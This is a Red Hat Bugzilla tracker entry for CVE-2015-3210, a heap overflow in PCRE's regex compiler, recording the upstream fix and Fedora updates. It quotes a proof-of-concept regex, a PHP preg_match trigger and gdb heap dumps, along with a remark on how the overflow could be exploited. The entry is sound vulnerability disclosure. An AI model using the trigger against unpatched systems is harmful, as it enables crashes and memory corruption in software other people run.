Bug 1226918
| Summary: | CVE-2015-3210 pcre: heap buffer overflow in pcre_compile2() / compile_regex() | ||
|---|---|---|---|
| Product: | [Other] Security Response | Reporter: | Vasyl Kaigorodov <vkaigoro> |
| Component: | vulnerability | Assignee: | Red Hat Product Security <security-response-team> |
| Status: | CLOSED DUPLICATE | QA Contact: | |
| Severity: | low | Docs Contact: | |
| Priority: | low | ||
| Version: | unspecified | CC: | adam.stokes, andrew, ashishks, carnil, c.david86, erik-fedora, jorton, jrusnack, lkundrak, mmaslano, ppisar, rcollet, sardella, svh, webstack-team |
| Target Milestone: | --- | Keywords: | Security |
| Target Release: | --- | ||
| Hardware: | All | ||
| OS: | Linux | ||
| Whiteboard: | |||
| Fixed In Version: | Doc Type: | Bug Fix | |
| Doc Text: | Story Points: | --- | |
| Clone Of: | Environment: | ||
| Last Closed: | 2015-06-29 16:40:43 UTC | Type: | --- |
| Regression: | --- | Mount Type: | --- |
| Documentation: | --- | CRM: | |
| Verified Versions: | Category: | --- | |
| oVirt Team: | --- | RHEL 7.3 requirements from Atomic Host: | |
| Cloudforms Team: | --- | Target Upstream Version: | |
| Embargoed: | |||
| Bug Depends On: | 1236659, 1236660 | ||
| Bug Blocks: | 1226929 | ||
I know. I also know that Red Hat Security Team does handle regular expression-driven crashes as security issues. Are you going to close this one as deferred? *** Bug 1232053 has been marked as a duplicate of this bug. *** Statement: (none) Created pcre tracking bugs for this issue: Affects: fedora-all [bug 1236659] Created mingw-pcre tracking bugs for this issue: Affects: fedora-all [bug 1236660] Upstream fixed it by:
commit 4b79af6b4cbeb5326ae5e4d83f3e935e00286c19
Author: ph10 <ph10@2f5784b3-3f2a-0410-8824-cb99058d5e15>
Date: Fri May 15 17:17:03 2015 +0000
Fix buffer overflow for named recursive back reference when the name is
duplicated.
git-svn-id: svn://vcs.exim.org/pcre/code/trunk@1558 2f5784b3-3f2a-0410-8824-
cb99058d5e15
Please note that php 5.6 in SCL 2 ships an embedded version of PCRE 8.34 which is vulnerable, however this issue is difficult to exploit (the attacker must create custom regex patterns), and the impact of exploitation is limited (e.g. PHP runs as a non root user within the web server SELinux context in almost all cases). pcre-8.37-2.fc22 has been pushed to the Fedora 22 stable repository. If problems still persist, please make note of it in this bug report. pcre-8.35-12.fc21 has been pushed to the Fedora 21 stable repository. If problems still persist, please make note of it in this bug report. *** This bug has been marked as a duplicate of bug 1287623 *** |
Following issue was reorted in the PCRE library: """ Latest version of PCRE is prone to a Heap Overflow vulnerability which could caused by the following regular expression. /^(?P=B)((?P=B)(?J:(?P<B>c)(?P<B>a(?P=B)))>WGXCREDITS)/ To reproduce the problem, we could use pcretest provide by PCRE library or applications which is wrapped with PCRE such as PHP. For pcretest, simply type the regular expression after the re> For PHP, latest version of PHP 5.6.9 (wrapped with PCRE 8.37) could be triggered by following code snippet: <?php preg_match("/^(?P=B)((?P=B)(?J:(?P<B>c)(?P<B>a(?P=B)))>WGXCREDITS)/","ADLAB",$arr); ?> First, pcre_compile2 invoke compile_regex() to calucate the size of memory that is used to save the regular expression. re then points to the new allocated memory with the size above. Next, pcre_compile2 invoke compile_regex() again to fill the regular expression into the allocated memory. The problem here is that more data is written then expected. Following test is conveyed under Kali Linux (based on Debian x64) with php 5.6.9: ============================================================== gdb php poc.php 9217 re = (REAL_PCRE *)(PUBL(malloc))(size); (gdb) x/10i $rip => 0x46f3cb <php_pcre_compile2+2187>: mov rdi,rbp 0x46f3ce <php_pcre_compile2+2190>: call QWORD PTR [rax] (gdb) x $rbp 0x97: Cannot access memory at address 0x97 ============================================================== So the expected size of the above regular expression is 0x97 = 151. And the base address of allocated memory is 0x1007480. Here is the layout of 0x1007480 just before the second compile_regexp: ============================================================== (gdb) x/160x 0x1007480 0x1007480: [0x45 0x52 0x43 0x50 0x97 0x00 0x00 0x00 0x1007488: 0x00 0x00 0x00 0x00 0x00 0x04 0x00 0x00 0x1007490: 0xff 0xff 0xff 0xff 0xff 0xff 0xff 0xff 0x1007498: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x10074a0: 0x00 0x00 0x40 0x00 0x04 0x00 0x02 0x00 0x10074a8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x10074b0: 0xd0 0x7a 0x00 0x01 0x00 0x00 0x00 0x00 0x10074b8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x10074c0: 0x00 0x02 0x42 0x00 0x00 0x03 0x42 0x00 0x10074c8: 0x83 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x10074d0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x10074d8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x10074e0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x10074e8: 0x80 0x48 0xd8 0xf6 0xff 0x7f 0x00 0x00 0x10074f0: 0xff 0xff 0xff 0xff 0x00 0x00 0x00 0x00 0x10074f8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x1007500: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x1007508: 0x60 0x75 0x00 0x01 0x00 0x00 0x00 0x00 0x1007510: 0xff 0xff 0xff 0xff 0xff 0xff 0xff] 0xff 0x1007518: 0xa1 0x01 0x00 0x00 0x00 0x00 0x00 0x00 ============================================================== After the second compile_regexp: ============================================================== (gdb) x/160x 0x1007480 0x1007480: [0x45 0x52 0x43 0x50 0x97 0x00 0x00 0x00 0x1007488: 0x00 0x00 0x00 0x00 0x00 0x04 0x00 0x00 0x1007490: 0xff 0xff 0xff 0xff 0xff 0xff 0xff 0xff 0x1007498: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x10074a0: 0x00 0x00 0x40 0x00 0x04 0x00 0x02 0x00 0x10074a8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x10074b0: 0xd0 0x7a 0x00 0x01 0x00 0x00 0x00 0x00 0x10074b8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x10074c0: 0x00 0x02 0x42 0x00 0x00 0x03 0x42 0x00 0x10074c8: 0x83 0x00 0x51 0x1b 0x73 0x00 0x00 0x00 0x10074d0: 0x02 0x85 0x00 0x45 0x00 0x01 0x73 0x00 0x10074d8: 0x00 0x00 0x02 0x83 0x00 0x22 0x85 0x00 0x10074e0: 0x07 0x00 0x02 0x1d 0x63 0x78 0x00 0x07 0x10074e8: 0x81 0x00 0x12 0x85 0x00 0x0c 0x00 0x03 0x10074f0: 0x1d 0x61 0x73 0x00 0x00 0x00 0x02 0x78 0x10074f8: 0x00 0x0c 0x78 0x00 0x12 0x78 0x00 0x22 0x1007500: 0x1d 0x3e 0x1d 0x57 0x1d 0x47 0x1d 0x58 0x1007508: 0x1d 0x43 0x1d 0x52 0x1d 0x45 0x1d 0x44 0x1007510: 0x1d 0x49 0x1d 0x54 0x1d 0x53 0x78] *0x00 0x1007518: *0x45 *0x78 *0x00 *0x51 0x00 0x00 0x00 0x00 ============================================================== Obviously, 5 more bytes is written on the heap in this case. This overflow can be used to modify adjacent length field of array/vector/string, gaining the attacker the ability to read/write the whole memory in the context of the affected application (The same trick as CVE-2013-0634). """ Upstream bug: https://bugs.exim.org/show_bug.cgi?id=1636